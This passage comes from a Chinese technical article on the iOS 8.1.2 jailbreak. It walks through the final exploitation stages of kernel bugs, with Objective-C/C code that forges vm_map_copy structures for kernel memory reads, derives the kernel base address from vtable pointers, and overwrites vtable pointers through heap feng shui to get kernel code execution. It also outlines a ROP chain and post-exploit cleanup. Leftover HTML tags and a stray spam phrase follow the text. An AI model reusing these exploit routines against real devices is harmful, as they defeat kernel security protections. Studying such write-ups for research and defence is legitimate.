                  fake_vm_map_copy_64 *vm_copy_struct_ptr = (fake_vm_map_copy_64 *)(buffer + 0xA8);
                  for (int idx = 0; idx < 3; ++idx) {
                      memset(vm_copy_struct_ptr, 0, sizeof(fake_vm_map_copy_64));
              
                      if (idx == 0) {
                          vm_copy_struct_ptr->type = 0x3;
                          vm_copy_struct_ptr->size = size;
                          vm_copy_struct_ptr->kdata = address;
                          vm_copy_struct_ptr->kalloc_size = 0x100;
                      }
                      else {
                          vm_copy_struct_ptr->type = 0x3;
                          vm_copy_struct_ptr->size = 0xA8; // 0xA8 = 256 - 0x58 = 168 = ool memory size
                          vm_copy_struct_ptr->kdata = kobject_address;
                          vm_copy_struct_ptr->kalloc_size = 0x100;
                      }
              
                      vm_copy_struct_ptr = (mach_vm_address_t)vm_copy_struct_ptr + 0x100;
                  }
              }
              

              表23:控制溢出

            8. 直接接收消息,內核數據就被讀到了用戶空間。

            下面這個代碼片段(來源于網絡)可以打印讀到的內容,方便調試內核讀:

            #!cpp
            void HexDump(char *description, void *addr, int len)
            {
                int idx;
                unsigned char buff[17];
                unsigned char *pc = (unsigned char *)addr;
            
                // Output description if given.
                if (description != NULL)
                    printf ("%s:\n", description);
            
                // Process every byte in the data.
                for (idx = 0; idx < len; idx++) {
                    // Multiple of 16 means new line (with line offset).
            
                    if ((idx % 16) == 0) {
                        // Just don't print ASCII for the zeroth line.
                        if (idx != 0)
                            printf (" | %s\n", buff);
            
                        // Output the offset.
                        printf ("  %04X:", idx);
                    }
            
                    // Now the hex code for the specific character.
                    printf (" %02X", pc[idx]);
            
                    // And store a printable ASCII character for later.
                    if ((pc[idx] < 0x20) || (pc[idx] > 0x7e))
                        buff[idx % 16] = '.';
                    else
                        buff[idx % 16] = pc[idx];
                    buff[(idx % 16) + 1] = '\0';
                }
            
                // Pad out last line if not exactly 16 characters.
                while ((idx % 16) != 0) {
                    printf ("   ");
                    idx++;
                }
            
                // And print the final ASCII bit.
                printf (" | %s\n", buff);
            }
            

            表24:打印內存內容

            內核信息泄露

            內核信息泄露是在內核讀基礎之上實現的,利用過程如下:

            1. 利用前面提到的內核信息泄露漏洞得到某個內核對象的真實內核地址。
            2. 然后利用內核讀,讀取對象的內容內容。
            3. 從讀到的內容中,取出第一個 mach_vm_address_t 大小的值,這個值代表對象虛函數表的地址。
            4. 再次利用內存讀,讀虛函數表的內容。
            5. 從讀到的虛函數表的內容中選取一個函數指針。

            最后,利用函數指針計算出內核的起始地址。這種方式沒辦法得到內核的結束地址,但是不影響越獄。

            #!objc
            - (mach_vm_address_t)getKernelBaseAddresses:
            (mach_vm_address_t)hid_event_obj_kaddress
            {
                // HID Event Object Memory Content
                unsigned char *hid_event_obj_content =
                [self readKernelMemoryAtAddress:hid_event_obj_kaddress + 0x1 size:0x100];
                unsigned long long *hid_event_service_queue_obj_ptr =
                (unsigned long long *)(hid_event_obj_content + 0xE0);
            
                // HID Event Service Queue Memory Content
                unsigned char *hid_event_service_queue_obj_content =
                [self readKernelMemoryAtAddress:*hid_event_service_queue_obj_ptr size:0x80];
            
                unsigned long long *hid_event_service_queue_vtable_ptr_0x10 =
                (unsigned long long *)(hid_event_service_queue_obj_content);
                unsigned char *hid_event_service_queue_vtable_content_0x10 =
                [self readKernelMemoryAtAddress:*hid_event_service_queue_vtable_ptr_0x10 size:0x18];
            
                unsigned long long *fifth_function_ptr_of_vtable =
                (unsigned long long *)(hid_event_service_queue_vtable_content_0x10 + 0x10);
            
                mach_vm_address_t kernel_base =
                ((*fifth_function_ptr_of_vtable - (0x200 << 12)) & 0xffffff80ffe00000) + 0x2000;
            
                return kernel_base;
            }
            

            表25:計算內核基地址

            內核任意代碼執行

            內核任意代碼執行與內核讀的利用思路相同,只是細節上有些差別,利用過程為:

            1. 利用內存映射,將一部分內核內存映射到用戶空間。
            2. 通過內核讀,計算出所映射的內存在內核中的真實地址。
            3. 構造一個虛函數表,填充到映射的內存中。
            4. 利用漏洞覆蓋小對象的內存,只是 Payload 構造的主要目標是改寫虛函數表指針。
            5. 調用 Hacked 的對象的方法,比如:釋放,這樣就控制了 PC 指針。

              #!objc
              - (void)arbitraryExecutationDemo
              {
                  mach_port_name_t port_960 = 0;
                  [self prepareReceivePort1:NULL port2:&port_960];
              
                  io_connect_t fengshuiObjBuf[PRTS_ContinuousMemoryCount] = {0};
                  mach_vm_address_t firstObjectKAddr = NULL;
                  mach_vm_address_t lastObjectKAddr = NULL;
                  [self allocObjects:fengshuiObjBuf
                    firstObjectKAddr:&firstObjectKAddr
                     lastObjectKAddr:&lastObjectKAddr];
              
                  _fengshui_not_released_obj_count = PRTS_FengshuiObjectCountKeep;
              
                  uint8_t ool_buf_960[0x400] = {0};
                  [self constructArbitraryExePayload:ool_buf_960
                                       vtableAddress:_fake_port_kernel_address_base];
              
                  [self doFengshuiRelease2:fengshuiObjBuf];
                  [self waitFengshuiService];
              
                  [self triggerExploit];
              
                  [self allocVMCopy:port_960
                               size:960
                             buffer:ool_buf_960
                    descriptorCount:2];
              
                  [self releaseResource];
              
                  io_connect_t hacked_connection =
                  fengshuiObjBuf[PRTS_ContinuousMemoryCount - _fengshui_not_released_obj_count - 1];
              
                  printf("[+] start to trigger arbitrary executation, device will reboot\n");
                  IOServiceClose(hacked_connection);
                  [self waitFengshuiService];
                  printf("[+] success to trigger arbitrary executation, device will reboot\n");
              }
              

            表26:觸發任意代碼執行

            p10

            圖10:改寫虛函數表的結果示例

            在完成內核任意代碼執行后,就可以進一步實現了內核寫,思路是:制造執行 memcpy 的 ROP Chain。

            上面只是描述了如何利用漏洞,越獄工具還需要實現 Kernel Patch Finder,用來尋找 ROP Gadgets,然后構造出 ROP Chain,Patch 掉內核的相關安全機制。

            八、修復、清理

            越獄工具進行的修復、清理操作主要包括:

            1. 修復堆狀態,這是由于之前利用漏洞時破壞了堆狀態,不修復會造成內核不穩定。
            2. 修復用戶空間一些服務的狀態。

            0x05 結束


            上面介紹了越獄的過程,越獄所使用的漏洞,以及漏洞的利用思路,希望對大家有幫助。最后,還有幾點需要說明下:

            1. iOS 8.1.2 越獄過程中使用了 7 個漏洞,其中用戶空間 4 個,內核空間 3 個,可見過用戶空間的防御是越獄過程中非常非常重要的部分,而且在用戶空間多是利用的邏輯漏洞,這種漏洞應該會越來越少。
            2. 上文只是介紹了漏洞,而實際越獄工具的開發中,產品化是一個重要方面,具體來說主要指:穩定性;兼容性,可以看出開發一個好的越獄工具不是一件簡單的事情。

            2015-06-25

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线